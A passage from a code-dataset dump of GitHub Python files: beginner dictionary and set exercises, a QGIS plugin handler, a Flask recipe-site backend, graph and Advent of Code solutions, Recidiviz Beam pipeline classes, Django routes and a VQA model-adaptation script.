values.\r\nprint(\"newSet\")\r\nnewSet = {1, 4, 6, 7, 3}\r\nprint(newSet)\r\nprint(len(newSet)) # Prints Number of values inside the Set.\r\n\r\nnewSet.remove(4) # Removes 4 from Set. and Updates the set\r\n# t.remove(32) # Throws an error cause' 32 isn't present in the Set.\r\nprint(newSet)\r\nprint(newSet.pop()) # Removes an arbitrary element from the set and returns the element removed.\r\nprint(newSet.intersection({6, 4, 7})) # Returns a new set which contains only items in both sets.\r\nprint(newSet.union({5, 7})) # Returns a new set with all items from both sets\r\nnewSet.clear() # Empties the set.\r\nprint(newSet)\r\n\r\n''' P R A C T I C E S E T '''\r\n\r\n# Question 1\r\n\r\nShipraDict = {\r\n \"Aanand\": \"Fun\",\r\n \"Ganit\": \"Mathematics\",\r\n \"Prithvi\": \"Earth\",\r\n \"Surya\": \"Sun\",\r\n \"Aam\": \"Mango\",\r\n}\r\n\r\nprint(\"This is Shipra's Dictionary. \\n Get Hindi to english Translation of Words\")\r\n\r\nprint(\"Your Options are: \\t \", ShipraDict.keys())\r\nd = input(\"Enter the Word in Hindi and get the translation in English: \\t\")\r\nprint(\"The english word for\", d, \"is\", ShipraDict.get(d))\r\n\r\n# Question 2\r\n\r\nq = int(input(\"Enter at least 8 Numbers of any combination you want: \"))\r\nw = int(input(\"Enter at least 8 Numbers of any combination you want: \"))\r\ne = int(input(\"Enter at least 8 Numbers of any combination you want: \"))\r\nr = int(input(\"Enter at least 8 Numbers of any combination you want: \"))\r\nt = int(input(\"Enter at least 8 Numbers of any combination you want: \"))\r\ny = int(input(\"Enter at least 8 Numbers of any combination you want: \"))\r\nu = int(input(\"Enter at least 8 Numbers of any combination you want: \"))\r\ni = int(input(\"Enter at least 8 Numbers of any combination you want: \"))\r\nprogram = {q, w, e, r, t, y, u, i}\r\nprint(\"Your Numbers are: \\t\", program)\r\n\r\n# Question 3\r\n\r\ng = {1, \"1\"} # Int and Str are not same in Python\r\nprint(g)\r\n\r\n# Question 4\r\n\r\nproto = set()\r\nproto.add(20)\r\nproto.add(\"20\")\r\nproto.add(20.0)\r\nprint(len(proto)) # Kyo chauk gaye na? - Agar Do Integer aur Float same hai to Set v unhe Equal consider karega\r\n\r\n# Question 4\r\n\r\nsa = {}\r\nprint(type(sa)) # - Its Dictionary\r\n\r\n# Question 5\r\n\r\nEmpDict = {}\r\nHarry = input(\"Harry's favourite language: \")\r\nRick = input(\"Rick's Fav language: \")\r\nDeck = input(\"Deck's Fav language: \")\r\nupadatesdict = {\r\n \"Harry's\": Harry,\r\n \"Rick's\": Rick,\r\n \"Deck's\": Deck,\r\n}\r\nEmpDict.update(upadatesdict)\r\nprint(EmpDict)\r\n","repo_name":"NeuHix/First-Python","sub_path":"5. Dictionary & Sets.py","file_name":"5. Dictionary & Sets.py","file_ext":"py","file_size_in_byte":5082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19657429881","text":"from qgis.core import QgsProject\nfrom qgis.core import Qgis\nfrom ..application_settings import ApplicationSettings\nfrom ..translation.translation import Translation\n\nclass UserErrorOccurredHandler:\n def __init__(self, iface):\n self.iface = iface\n self.settings = ApplicationSettings()\n self.translation = Translation()\n\n def handle(self, message):\n if message.username != self.settings.get_user_name_suffix():\n return\n\n self.iface.messageBar().pushMessage(\n self.translation.translate(\"INVALID_OPERATION\"),\n self.translation.translate(message.errorCode),\n level=Qgis.Warning)\n\n # Reload RouteSegment and RouteNode layers after so no artifacts are left behind from rollback or delete.\n segmentLayers = QgsProject.instance().mapLayersByName(self.settings.get_layers_route_segment_name())\n nodeLayers = QgsProject.instance().mapLayersByName(self.settings.get_layers_route_node_name())\n\n # In case that the layers are not loaded for the current project.\n if len(segmentLayers) != 1 or len(nodeLayers) != 1:\n QgsMessageLog.logMessage(\n \"Could not find the route node or route segment layer doing refresh after user error occurred.\",\n self.name,\n Qgis.Critical)\n return\n\n try:\n segmentLayers[0].reload()\n nodeLayers[0].reload()\n except TypeError as err:\n QgsMessageLog.logMessage(err, self.name, Qgis.Critical)\n self.iface.messageBar().pushMessage(\n self.translation.translate(\"ERROR\"),\n self.translation.translate(\"COULD_NOT_RELOAD_LAYERS\"),\n level=Qgis.Critical)\n","repo_name":"DAXGRID/open-ftth-qgis-plugin","sub_path":"src/events/user_error_occurred_handler.py","file_name":"user_error_occurred_handler.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"24763291831","text":"import json\n\nimport requests\nfrom cloudinary.uploader import upload\nfrom flask import Blueprint, request\nfrom flask import Flask\nfrom flask_cors import CORS\nfrom flask_limiter import Limiter\nfrom flask_limiter.util import get_remote_address\nfrom sqlalchemy import or_\nfrom app import config\nfrom app.clarifai import has_food, forbidden_ingredients, vegi_ingredients_used\nfrom app.database import init_db, db_session, clear_sessions\nfrom app.helpers import return_result\nfrom app.models.ingredient import Ingredient\nfrom app.models.recipe import Recipe\nfrom app.models.review import Review\n\napplication = Flask(__name__)\nCORS(application)\nlimiter = Limiter(\n application,\n key_func=get_remote_address,\n default_limits=[\"20 per day\", \"10 per hour\"]\n)\n\ninit_db()\n\nclassify_blueprint = Blueprint('classify', __name__)\nrecipes_blueprint = Blueprint('recipes', __name__)\n\n\n@recipes_blueprint.route('/', methods=['GET'])\n@limiter.exempt\ndef get_all_recipes():\n recipes = Recipe.query\n\n data = [{\n \"id\": recipe.id,\n \"title\": recipe.title,\n \"instructions\": recipe.instructions,\n \"img\": recipe.img,\n \"type\": recipe.type,\n \"time\": recipe.time,\n \"people\": recipe.people,\n \"owner\": recipe.owner,\n \"likes\": recipe.likes,\n \"vegan\": recipe.vegan,\n \"ingredients\": [dict([(\"id\", ingredient.id), (\"item\", ingredient.item), (\"quantity\", ingredient.quantity)])\n for ingredient in recipe.ingredients]\n } for recipe in recipes]\n\n data = sorted(data, key=lambda x: x.get('id'), reverse=True)\n\n clear_sessions()\n\n return return_result(data=data)\n\n\n@recipes_blueprint.route('/reviews', methods=['GET'])\n@limiter.exempt\ndef get_all_recipe_reviews():\n reviews = Review.query\n\n data = [{\n \"id\": review.id,\n \"recipe_id\": review.recipe_id,\n \"credit\": review.credit,\n \"text\": review.text,\n \"approved\": review.approved\n } for review in reviews]\n\n clear_sessions()\n\n return return_result(data=data)\n\n@recipes_blueprint.route('/approved', methods=['GET'])\n@limiter.exempt\ndef get_all_recipes_approved():\n return get_all_recipes_approved_with_search_and_type('*', \"Alle\")\n\n@recipes_blueprint.route('/approved/', methods=['GET'])\n@limiter.exempt\ndef get_all_recipes_approved_with_search(search):\n return get_all_recipes_approved_with_search_and_type(search, \"Alle\")\n\n@recipes_blueprint.route('/approved//typed/', methods=['GET'])\n@limiter.exempt\ndef get_all_recipes_approved_with_search_and_type(search, type):\n if search == '*' and type == \"Alle\":\n recipes = Recipe.query.filter(Recipe.approved)\n elif type == \"Alle\":\n recipes = Recipe.query\\\n .filter(Recipe.approved)\\\n .filter(or_(Recipe.title.like(\"%\" + search + \"%\"), Recipe.instructions.like(\"%\" + search + \"%\")))\n elif search == '*':\n recipes = Recipe.query\\\n .filter(Recipe.approved)\\\n .filter(Recipe.type == type)\n else:\n recipes = Recipe.query \\\n .filter(Recipe.approved) \\\n .filter(or_(Recipe.title.like(\"%\" + search + \"%\"), Recipe.instructions.like(\"%\" + search + \"%\"))) \\\n .filter(Recipe.type == type)\n\n data = [{\n \"id\": recipe.id,\n \"title\": recipe.title,\n \"instructions\": recipe.instructions,\n \"img\": recipe.img,\n \"type\": recipe.type,\n \"time\": recipe.time,\n \"people\": recipe.people,\n \"owner\": recipe.owner,\n \"likes\": recipe.likes,\n \"vegan\": recipe.vegan,\n \"ingredients\": [dict([(\"id\", ingredient.id), (\"item\", ingredient.item), (\"quantity\", ingredient.quantity)])\n for ingredient in recipe.ingredients]\n } for recipe in recipes]\n\n data = sorted(data, key=lambda x: x.get('id'), reverse=True)\n\n clear_sessions()\n\n return return_result(data=data)\n\n\n@recipes_blueprint.route('/', methods=['GET'])\n@limiter.exempt\ndef get_recipe_for_id(id):\n try:\n recipe = Recipe.query.filter(Recipe.id == id, Recipe.approved)[0]\n\n data = {\n \"id\": recipe.id,\n \"title\": recipe.title,\n \"instructions\": recipe.instructions,\n \"img\": recipe.img,\n \"type\": recipe.type,\n \"time\": recipe.time,\n \"people\": recipe.people,\n \"owner\": recipe.owner,\n \"likes\": recipe.likes,\n \"vegan\": recipe.vegan,\n \"ingredients\": [dict([(\"id\", ingredient.id), (\"item\", ingredient.item), (\"quantity\", ingredient.quantity)])\n for ingredient in recipe.ingredients],\n \"reviews\": [dict([(\"id\", review.id), (\"credit\", review.credit), (\"text\", review.text)]) for review in\n recipe.reviews if review.approved]\n }\n clear_sessions()\n return return_result(data=data)\n except IndexError:\n clear_sessions()\n return return_result(message=\"This recipe index does not exist\", code=400, status=\"failure\")\n\n\n@recipes_blueprint.route('//', methods=['GET'])\n@limiter.exempt\ndef get_recipe_for_id_using_approval(id, approve):\n if approve != config.APPROVE_KEY:\n return return_result(message=\"Not the right approve key!\", code=400, status=\"failure\")\n try:\n recipe = Recipe.query.filter(Recipe.id == id)[0]\n\n data = {\n \"id\": recipe.id,\n \"title\": recipe.title,\n \"instructions\": recipe.instructions,\n \"img\": recipe.img,\n \"type\": recipe.type,\n \"time\": recipe.time,\n \"people\": recipe.people,\n \"owner\": recipe.owner,\n \"likes\": recipe.likes,\n \"vegan\": recipe.vegan,\n \"ingredients\": [dict([(\"id\", ingredient.id), (\"item\", ingredient.item), (\"quantity\", ingredient.quantity)])\n for ingredient in recipe.ingredients]\n }\n clear_sessions()\n return return_result(data=data)\n except IndexError:\n clear_sessions()\n return return_result(message=\"This recipe index does not exist\", code=400, status=\"failure\")\n\n\n@recipes_blueprint.route('/approve//', methods=['GET'])\n@limiter.exempt\ndef approve_recipe_for_id(id, approve):\n if approve != config.APPROVE_KEY:\n return return_result(message=\"Not the right approve key!\", code=400, status=\"failure\")\n try:\n for recipe in Recipe.query.filter(Recipe.id == id):\n recipe.approved = True\n db_session.commit()\n clear_sessions()\n return return_result(data=\"approved \" + id)\n except IndexError:\n clear_sessions()\n return return_result(message=\"This recipe index does not exist\", code=400, status=\"failure\")\n\n\n@recipes_blueprint.route('/approve/review//', methods=['GET'])\n@limiter.exempt\ndef approve_review_for_recipe(review_id, approve):\n if approve != config.APPROVE_KEY:\n return return_result(message=\"Not the right approve key!\", code=400, status=\"failure\")\n try:\n for review in Review.query.filter(Review.id == review_id):\n review.approved = True\n db_session.commit()\n clear_sessions()\n return return_result(data=\"approved review \" + review_id)\n except IndexError:\n clear_sessions()\n return return_result(message=\"This review index does not exist\", code=400, status=\"failure\")\n\n\n@recipes_blueprint.route('//likes', methods=['GET'])\ndef add_like_for_recipe_id(id):\n try:\n for recipe in Recipe.query.filter(Recipe.id == id):\n recipe.likes = recipe.likes + 1\n db_session.commit()\n clear_sessions()\n return return_result(data=\"incremented like for recipe with id: \" + id)\n except IndexError:\n clear_sessions()\n return return_result(message=\"This recipe index does not exist\", code=400, status=\"failure\")\n\ndef replacer(x):\n return x.replace(\"‘\", \"'\").replace(\"’\", \"'\")\n\n@recipes_blueprint.route('/add', methods=['POST'])\n@limiter.exempt\ndef add_recipe():\n data = request.data\n recipe_data = json.loads(data.decode(\"utf-8\"))\n\n if not recipe_data['img'].startswith(\"https://res.cloudinary.com/\" + config.CLOUD_NAME + \"/image/upload/\"):\n return return_result(\n message=\"Je hebt geen geldig plaatje geupload.\",\n code=500, status=\"failure\")\n recipe = Recipe(title=replacer(recipe_data['title']),\n instructions=replacer(recipe_data['instructions']),\n img=recipe_data['img'], type=recipe_data['type'], time=replacer(recipe_data['time']),\n people=recipe_data['people'], vegan=recipe_data['vegan'], owner=replacer(recipe_data['owner']), approved=False, likes=0)\n db_session.add(recipe)\n\n for ingredient in recipe_data['ingredients']:\n ingredient = Ingredient(item=replacer(ingredient['item']),\n quantity=replacer(ingredient['quantity']))\n db_session.add(ingredient)\n recipe.ingredients.append(ingredient)\n\n try:\n db_session.commit()\n clear_sessions()\n return return_result(data=recipe_data)\n except Exception:\n db_session.rollback()\n clear_sessions()\n return return_result(message=\"Je bereidingswijze is te lang, kort hem a.u.b. wat in.\", code=500, status=\"failure\")\n\n\n@recipes_blueprint.route('/review', methods=['POST'])\ndef add_review():\n try:\n data = request.data\n review_data = json.loads(data.decode(\"utf-8\"))\n for recipe in Recipe.query.filter(Recipe.id == review_data['id']):\n review = Review(credit=replacer(review_data['credit']),\n text=replacer(review_data['text']), approved=False)\n db_session.add(review)\n recipe.reviews.append(review)\n db_session.commit()\n clear_sessions()\n return return_result(data=\"added review for recipe with id: \" + review_data['id'])\n except IndexError:\n clear_sessions()\n return return_result(message=\"This recipe index does not exist\", code=400, status=\"failure\")\n\n\n@classify_blueprint.route('/upload-image', methods=['POST'])\ndef upload_image():\n try:\n image = request.files['img']\n upload_result = upload(image, upload_preset=config.UPLOAD_PRESET, api_key=config.API_KEY,\n api_secret=config.API_SECRET,\n cloud_name=config.CLOUD_NAME, return_delete_token=True)\n token = upload_result['delete_token']\n img_url = upload_result['secure_url']\n\n if has_food(img_url):\n forbidden = forbidden_ingredients(img_url)\n used = vegi_ingredients_used(img_url)\n data = {\n \"food\": True,\n \"forbidden\": forbidden,\n \"used\": used,\n \"url\": img_url\n }\n return return_result(data=data)\n else:\n requests.post(\"https://api.cloudinary.com/v1_1/\" + config.CLOUD_NAME + \"/delete_by_token\",\n data={'token': token})\n return return_result(data={'food': False})\n except Exception as e:\n return return_result(\n message=\"Er is een onverwachte fout opgetreden. Neem a.u.b. contact op met veganwinners. {0}\".format(e),\n code=500, status=\"failure\")\n\n\napplication.register_blueprint(recipes_blueprint, url_prefix='/api/recipes')\napplication.register_blueprint(classify_blueprint, url_prefix='/api/classify')\n\n\n@application.errorhandler(500)\ndef server_error(e):\n return return_result(code=500, status=\"error\", message=str(e))\n","repo_name":"missEnergy/veganwinners-backend","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":11669,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"20676517550","text":"import resource, sys\nresource.setrlimit(resource.RLIMIT_STACK, (2**29, -1))\nsys.setrecursionlimit(10**7)\n\nn, m = map(int, input().split())\n# vs[0]: grafo original\n# vs[1]: grafo transpuesto\nvs = [[[] for i in range(n)] for x in range(2)]\nfor i in range(m): # leer grafo\n\tx, y = map(int, input().split())\n\tx -= 1\n\ty -= 1\n\tvs[0][x].append(y)\n\tvs[1][y].append(x)\n\n\nvis, topo = [False]*n, []\ndef dfs_topo(v):\n\tvis[v] = True\n\tfor e in vs[0][v]:\n\t\tif not vis[e]:\n\t\t\tdfs_topo(e)\n\ttopo.append(v)\n\nfor i in range(n):\n\tif not vis[i]:\n\t\tdfs_topo(i)\ntopo.reverse()\n\ncnt, tag = 0, [-1] * n \ndef dfs_scc(v):\n\ttag[v] = cnt\n\tfor e in vs[1][v]: #grafo transpuesto!\n\t\tif tag[e] == -1:\n\t\t\tdfs_scc(e)\nfor v in topo:\n\tif tag[v] == -1:\n\t\tdfs_scc(v)\n\t\tcnt += 1\n\nprint(cnt)\nfor v in tag: print(v+1, end=' ')\nprint()\n\n","repo_name":"oscarburga/tutorias-complejidad-algoritmica-2020-02","sub_path":"s6/sccs.py","file_name":"sccs.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"37578836648","text":"from collections import defaultdict\nfrom typing import Dict, Any, Union, List\n\nfrom more_itertools import one\nimport apache_beam as beam\nfrom apache_beam.typehints import with_input_types, with_output_types\n\nfrom recidiviz.calculator.pipeline.utils.state_utils.us_mo.us_mo_sentence_classification import \\\n UsMoSupervisionSentence, UsMoIncarcerationSentence\nfrom recidiviz.persistence.entity.entity_utils import get_ids\nfrom recidiviz.persistence.entity.state import entities\n\n\n@with_input_types(beam.typehints.Tuple[int, Dict[str, Any]])\n@with_output_types(beam.typehints.Tuple[int,\n Union[entities.StateIncarcerationSentence, entities.StateSupervisionSentence]])\nclass ConvertSentencesToStateSpecificType(beam.DoFn):\n \"\"\"Converts sentences into state-specific sublcasses of those sentences, for use in state-specific calculate flows.\n \"\"\"\n\n # pylint: disable=arguments-differ\n def process(self, element, *args, **kwargs):\n \"\"\"For the sentences of the given person, convert to a state-specific subclass, if necessary.\n\n Args:\n element: A tuple containing person_id and a dictionary with all of the person's incarceration sentences,\n supervision sentences, and sentence statuses (if applicable)\n\n Yields:\n For each incarceration and supervision sentence, yields a tuple containing person_id and the sentence,\n converted to a state-specific subclass, if necessary\n \"\"\"\n person_id, sentences_and_statuses = element\n\n incarceration_sentences = sentences_and_statuses.get('incarceration_sentences')\n supervision_sentences = sentences_and_statuses.get('supervision_sentences')\n all_sentence_statuses = sentences_and_statuses.get('sentence_statuses')\n\n us_mo_sentence_statuses_by_sentence: Dict[str, List[Dict[str, str]]] = defaultdict(list)\n\n if all_sentence_statuses:\n # Build a dictionary that maps each sentence_external_id to a list of dictionaries containing status\n # updates for this sentence\n for status_dict in all_sentence_statuses:\n sentence_external_id = status_dict.get('sentence_external_id')\n\n if sentence_external_id:\n us_mo_sentence_statuses_by_sentence[sentence_external_id].append(status_dict)\n\n for incarceration_sentence in incarceration_sentences:\n state_specific_incarceration_sentence = incarceration_sentence\n if incarceration_sentence.state_code == 'US_MO':\n\n sentence_statuses = []\n if incarceration_sentence.external_id in us_mo_sentence_statuses_by_sentence:\n sentence_statuses = us_mo_sentence_statuses_by_sentence[incarceration_sentence.external_id]\n\n state_specific_incarceration_sentence = UsMoIncarcerationSentence.from_incarceration_sentence(\n incarceration_sentence, sentence_statuses)\n\n yield beam.pvalue.TaggedOutput('incarceration_sentences',\n (person_id, state_specific_incarceration_sentence))\n\n for supervision_sentence in supervision_sentences:\n state_specific_supervision_sentence = supervision_sentence\n if supervision_sentence.state_code == 'US_MO':\n\n sentence_statuses = []\n if supervision_sentence.external_id in us_mo_sentence_statuses_by_sentence:\n sentence_statuses = us_mo_sentence_statuses_by_sentence[supervision_sentence.external_id]\n\n state_specific_supervision_sentence = UsMoSupervisionSentence.from_supervision_sentence(\n supervision_sentence, sentence_statuses)\n\n yield beam.pvalue.TaggedOutput('supervision_sentences',\n (person_id, state_specific_supervision_sentence))\n\n def to_runner_api_parameter(self, _):\n pass # Passing unused abstract method.\n\n\n@with_input_types(beam.typehints.Tuple[int, Dict[str, Any]])\n@with_output_types(beam.typehints.Tuple[int, entities.StateIncarcerationPeriod])\nclass SetViolationResponseOnIncarcerationPeriod(beam.DoFn):\n \"\"\"Sets a hydrated StateSupervisionviolationResponse onto the corresponding\n StateIncarcerationPeriod.\"\"\"\n\n def process(self, element, *args, **kwargs):\n \"\"\"For the incarceration periods and supervision violation responses of\n a given person, finds the matching hydrated supervision violation\n response for a resulting incarceration period, and sets the hydrated\n version onto the incarceration_period entity.\n\n Args:\n element: a tuple containing person_id and a dictionary of the\n person's StateIncarcerationPeriods and\n StateSupervisionviolationResponses\n\n Yields:\n For each incarceration period, a tuple containing the person_id and\n the incarceration_period.\n \"\"\"\n person_id, incarceration_periods_violation_responses = element\n\n # Get the StateIncarcerationPeriods as a list\n incarceration_periods = \\\n list(incarceration_periods_violation_responses[\n 'incarceration_periods'])\n\n # Get the StateSupervisionViolationResponses as a list\n violation_responses = \\\n list(incarceration_periods_violation_responses[\n 'violation_responses'])\n\n if incarceration_periods:\n for incarceration_period in incarceration_periods:\n if incarceration_period.source_supervision_violation_response \\\n and violation_responses:\n\n corresponding_response = [\n response for response in violation_responses\n if response.supervision_violation_response_id ==\n incarceration_period.\n source_supervision_violation_response.\n supervision_violation_response_id]\n\n # If there's a corresponding response, there should only\n # be 1 (this is enforced at a DB level)\n response = one(corresponding_response)\n\n incarceration_period. \\\n source_supervision_violation_response = response\n\n yield (person_id, incarceration_period)\n\n def to_runner_api_parameter(self, _):\n pass # Passing unused abstract method.\n\n\n@with_input_types(beam.typehints.Tuple[int, Dict[str, Any]])\n@with_output_types(\n beam.typehints.Tuple[int, entities.StateSupervisionViolationResponse])\nclass SetViolationOnViolationsResponse(beam.DoFn):\n \"\"\"Sets a hydrated StateSupervisionviolation onto the corresponding\n StateSupervisionviolationResponse.\"\"\"\n\n def process(self, element, *args, **kwargs):\n \"\"\"For the supervision violations and supervision violation responses of\n a given person, finds the matching hydrated supervision violation\n for a resulting supervision violation response, and sets the hydrated\n version onto the response entity.\n\n Args:\n element: a tuple containing person_id and a dictionary of the\n person's StateSupervisionViolations and\n StateSupervisionViolationResponses\n\n Yields:\n For each response, a tuple containing the person_id and\n the response.\n \"\"\"\n person_id, violations_and_responses = element\n\n # Get the StateSupervisionViolations as a list\n violations = \\\n list(violations_and_responses[\n 'violations'])\n\n # Get the StateSupervisionViolationResponses as a list\n violation_responses = \\\n list(violations_and_responses[\n 'violation_responses'])\n\n if violation_responses:\n for violation_response in violation_responses:\n if violations:\n for violation in violations:\n response_ids = [\n response.supervision_violation_response_id for\n response in\n violation.supervision_violation_responses\n ]\n\n if violation_response.\\\n supervision_violation_response_id in \\\n response_ids:\n violation_response.supervision_violation = violation\n\n # Escape the inner loop when the supervision violation has been set\n break\n\n yield (person_id, violation_response)\n\n def to_runner_api_parameter(self, _):\n pass # Passing unused abstract method.\n\n\n@with_input_types(beam.typehints.Tuple[int, Dict[str, Any]])\n@with_output_types(beam.typehints.Tuple[int, entities.StateSentenceGroup])\nclass SetSentencesOnSentenceGroup(beam.DoFn):\n \"\"\"Sets a hydrated StateIncarcerationSentences and StateSupervisionSentences onto the corresponding\n StateSentenceGroups.\"\"\"\n\n def process(self, element, *args, **kwargs):\n \"\"\"For the incarceration sentences, supervision sentences, and sentence groups of\n a given person, sets the hydrated sentences onto the corresponding sentence groups.\n\n Args:\n element: a tuple containing person_id and a dictionary of the person's StateIncarcerationSentences,\n StateSupervisionSentences, and StateSentenceGroups\n\n Yields:\n For each sentence group, a tuple containing the person_id and the hydrated sentence group\n \"\"\"\n person_id, person_entities = element\n\n # Get the StateIncarcerationSentences in a list\n incarceration_sentences = list(person_entities['incarceration_sentences'])\n\n # Get the StateSupervisionSentences in a list\n supervision_sentences = list(person_entities['supervision_sentences'])\n\n # Ge the StateSentenceGroups in a list\n sentence_groups = list(person_entities['sentence_groups'])\n\n if sentence_groups:\n for sentence_group in sentence_groups:\n if sentence_group.incarceration_sentences:\n incarceration_sentence_ids = get_ids(sentence_group.incarceration_sentences)\n\n if incarceration_sentences:\n sentence_group_incarceration_sentences = [\n inc_sent for inc_sent in incarceration_sentences\n if inc_sent.incarceration_sentence_id in incarceration_sentence_ids\n ]\n\n sentence_group.incarceration_sentences = sentence_group_incarceration_sentences\n\n for incarceration_sentence in incarceration_sentences:\n incarceration_sentence.sentence_group = sentence_group\n\n if sentence_group.supervision_sentences:\n supervision_sentence_ids = get_ids(sentence_group.supervision_sentences)\n\n if supervision_sentences:\n sentence_group_supervision_sentences = [\n sup_sent for sup_sent in supervision_sentences\n if sup_sent.supervision_sentence_id in supervision_sentence_ids\n ]\n\n sentence_group.supervision_sentences = sentence_group_supervision_sentences\n\n for supervision_sentence in supervision_sentences:\n supervision_sentence.sentence_group = sentence_group\n\n yield person_id, sentence_group\n\n def to_runner_api_parameter(self, _):\n pass # Passing unused abstract method.\n","repo_name":"abhishyantkhare/pulse-data","sub_path":"recidiviz/calculator/pipeline/utils/entity_hydration_utils.py","file_name":"entity_hydration_utils.py","file_ext":"py","file_size_in_byte":11786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"16950283671","text":"from django.contrib import admin\nfrom django.urls import path,include\nfrom . import views\nfrom django.conf.urls.static import static\nfrom django.conf import settings\nurlpatterns = [\n path('b_index/', views.b_index),\n path('b_login/', views.b_login),\n path('B_register/', views.B_register),\n path('view_transaction_b/', views.view_transaction),\n path('view_hashed/', views.view_hashed),\n path('block_logout/', views.block_logout),\n path('encryption_data/', views.encryption_data),\n path('encryption/', views.encryption),\n path('view_encrypted/', views.view_encrypted),\n path('enc//', views.enc),\n path('hash//', views.hash),\n # path('approve_)\n\n\n\n]","repo_name":"sarathprime/sarathprime","sub_path":"blockchain/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35407366350","text":"\"\"\"\nThis code is modified from Hengyuan Hu's repository.\nhttps://github.com/hengyuan-hu/bottom-up-attention-vqa\n\"\"\"\nimport argparse\nimport json\n# import progressbar\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\nimport numpy as np\nfrom dataset_vqacp_lxmert import Dictionary, VQAFeatureDataset\nfrom tasks.vqa_model import VQAModel\nimport utils_1\nfrom src.param import args as opt\nimport os\nfrom tqdm import tqdm\nimport random\nimport torch.nn.functional as F\n\ndef softmax_entropy(x: torch.Tensor) -> torch.Tensor:\n \"\"\"Entropy of softmax distribution from logits.\"\"\"\n # return -(x.softmax(1) * x.log_softmax(1)).sum(1).mean()\n return -(x.softmax(1) * x.log_softmax(1)).sum(1)\n\ndef get_answer(p, dataloader):\n _m, idx = p.max(0)\n return dataloader.dataset.label2ans[idx.item()]\n\ndef make_json(logits, qIds, dataloader):\n utils_1.assert_eq(logits.size(0), len(qIds))\n\n results = []\n for i in range(logits.size(0)):\n result = {}\n result['question_id'] = qIds[i].item()\n result['answer'] = get_answer(logits[i], dataloader)\n results.append(result)\n return results\n\nif __name__ == '__main__':\n random.seed(777)\n\n torch.backends.cudnn.benchmark = True\n\n dictionary = Dictionary.load_from_file(os.path.join(opt.dataroot, 'dictionary.pkl'))\n opt.ntokens = dictionary.ntoken\n\n eval_dset = VQAFeatureDataset('test', dictionary, opt.dataroot, opt.img_root, 1.0, adaptive=False)\n\n model = VQAModel(2274)\n model = model.cuda()\n\n Entropy = 7.7293 * opt.rate # max 7.7293, select the threshold *0.2\n\n print(model)\n\n eval_loader = DataLoader(eval_dset, opt.batch_size, shuffle=True, num_workers=1, collate_fn=utils_1.trim_collate)\n\n def process(opt, model, eval_loader, self_sup=True):\n\n print('loading %s' % opt.checkpoint_path)\n model_data = torch.load(opt.checkpoint_path)\n model_data = {key.replace('module.',''): value for key, value in model_data.items()}\n model.load_state_dict(model_data)\n\n model = nn.DataParallel(model).cuda()\n optim = torch.optim.SGD(model.parameters(), lr=opt.lr, momentum=0.9, weight_decay=opt.weight_decay)\n\n N = len(eval_loader.dataset)\n M = eval_loader.dataset.num_ans_candidates\n K = 36\n pred = torch.FloatTensor(N, M).zero_()\n qIds = torch.IntTensor(N).zero_()\n idx = 0\n\n for it, (v, b, q, a, i) in enumerate(eval_loader):\n batch_size = v.size(0)\n v = v.cuda()\n b = b.cuda()\n model.train(False)\n logits = model(v, b, list(q))\n pred[idx:idx+batch_size,:].copy_(logits.data)\n qIds[idx:idx+batch_size].copy_(i)\n\n model.train(True)\n logits_ = model(v, b, list(q))\n if self_sup:\n index_v = random.sample(range(0, batch_size), batch_size)\n gv_neg = v[index_v]\n logits_neg_v = model(gv_neg, b, list(q))\n\n optim.zero_grad()\n loss = softmax_entropy(logits_)\n\n loss_mask = (loss <= Entropy).cuda()\n\n gt_predict = torch.argmax(logits_, dim=1)\n neg_v_predict = torch.argmax(logits_neg_v, dim=1)\n\n mask_v = (gt_predict == neg_v_predict)\n\n bias_sample = mask_v & loss_mask\n loss_min_logits, _ = torch.max(F.softmax(logits_neg_v, dim=1), dim=1)\n loss_min_logits_, _ = torch.max(F.softmax(logits_, dim=1), dim=1)\n loss_logits = (bias_sample.float() * loss_min_logits).sum() / sum(bias_sample.float())\n loss_logits_ = (bias_sample.float() * loss_min_logits_).sum() / sum(bias_sample.float())\n\n loss_mask = loss_mask & (1 - mask_v)\n\n loss = (loss * loss_mask.float()).sum() / sum(loss_mask.float() + 1e-5)\n\n total_loss = loss + loss_logits + loss_logits_\n total_loss.backward()\n nn.utils.clip_grad_norm_(model.parameters(), 0.25)\n optim.step()\n idx += batch_size\n\n print(\"iter: {}, loss: {}\".format(it, total_loss.item()))\n\n results = make_json(pred, qIds, eval_loader)\n\n utils_1.create_dir(opt.output)\n\n with open(os.path.join(opt.output,'test.json'), 'w') as f:\n json.dump(results, f)\n\n process(opt, model, eval_loader)","repo_name":"Zhiquan-Wen/TDS","sub_path":"LXMERT/src/tasks/TDS.py","file_name":"TDS.py","file_ext":"py","file_size_in_byte":4326,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"29268377472","text":"#file_name='test_part1.txt'\nfile_name='input_part1.txt'\n\nin_file=open(file_name)\nlines=[]\n\nfor line in in_file:\n lines.append(line.strip())\n\nin_file.close()\n\n\ndef find_oxygen_generator_rating(working_list, position):\n if len(working_list) == 1:\n return working_list\n else:\n list_with_1s = []\n list_with_0s = []\n \n for binary_string in working_list:\n if binary_string[position] == \"1\":\n list_with_1s.append(binary_string)\n else:\n list_with_0s.append(binary_string)\n\n if len(list_with_1s)>=len(list_with_0s):\n return find_oxygen_generator_rating(list_with_1s, position+1)\n else:\n return find_oxygen_generator_rating(list_with_0s, position+1)\n\n\ndef find_co2_scrubber_rating(working_list, position):\n if len(working_list) == 1:\n return working_list\n else:\n list_with_1s = []\n list_with_0s = []\n \n for binary_string in working_list:\n if binary_string[position] == \"1\":\n list_with_1s.append(binary_string)\n else:\n list_with_0s.append(binary_string)\n\n if len(list_with_0s)<=len(list_with_1s):\n return find_co2_scrubber_rating(list_with_0s, 